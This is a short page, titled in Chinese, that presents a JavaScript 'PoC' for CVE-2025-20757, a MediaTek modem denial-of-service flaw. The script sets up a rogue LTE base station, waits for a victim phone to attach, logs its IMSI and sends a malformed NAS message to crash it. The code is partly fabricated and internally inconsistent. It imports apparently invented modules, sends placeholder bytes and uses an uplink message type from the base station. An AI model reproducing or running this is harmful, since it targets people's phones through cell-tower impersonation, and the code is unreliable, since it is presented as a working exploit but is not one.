CVE-2025-20757: MediaTek调制解调器输入验证不当导致拒绝服务漏洞

// CVE-2025-20757 PoC - Rogue Base Station Attack // This PoC demonstrates the concept of triggering the vulnerability // Note: Actual exploitation requires SDR equipment and specialized tools const sdr = require('sdr-tools'); const lteStack = require('lte-stack'); // Configuration for rogue base station const rogueBTSConfig = { EARFCN: 1850, // Downlink frequency PCI: 123, // Physical Cell ID TAC: 1, // Tracking Area Code MCC: 460, // Mobile Country Code MNC: 0, // Mobile Network Code cellId: 0x0001 }; // Malformed message that triggers input validation issue // This is a simplified representation of the attack vector const malformedMessage = { msgType: 'ULInformationTransfer', // Intentionally malformed data to trigger validation failure nasPdu: Buffer.from([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0xff, 0xfe, 0xfd, 0xfc, 0xfb, 0xfa ]), // Missing or invalid length fields invalidField: Buffer.alloc(256, 0xAB) }; async function initiateRogueBTS() { console.log('[+] Starting Rogue BTS for CVE-2025-20757'); console.log('[+] Configuring SDR device...'); // Initialize SDR device const sdrDevice = await sdr.open({ sampleRate: 15.36e6, frequency: 925e6, gain: 40 }); // Setup LTE cell const cell = await lteStack.createCell(rogueBTSConfig); // Wait for victim to attach console.log('[+] Waiting for victim UE attachment...'); const victimUE = await cell.waitForAttach({timeout: 60000}); console.log(`[+] Victim attached: ${victimUE.imsi}`); // Send malformed message to trigger vulnerability console.log('[+] Sending malformed NAS message...'); await victimUE.send(malformedMessage); console.log('[+] Message sent. Monitoring for crash...'); // Verify crash occurred setTimeout(async () => { const status = await victimUE.getStatus(); if (status.deregistered) { console.log('[+] VULNERABILITY CONFIRMED: UE crashed'); } }, 5000); } // Cleanup function process.on('SIGINT', async () => { console.log('\n[!] Shutting down Rogue BTS...'); await sdr.close(); process.exit(0); }); initiateRogueBTS().catch(console.error); // Requirements: // - GNU Radio with gr-lte or similar SDR framework // - USRP or other compatible SDR hardware // - OpenAirInterface or srsLTE for LTE stack // - Legal authorization for testing // Note: This PoC is for educational and authorized testing purposes only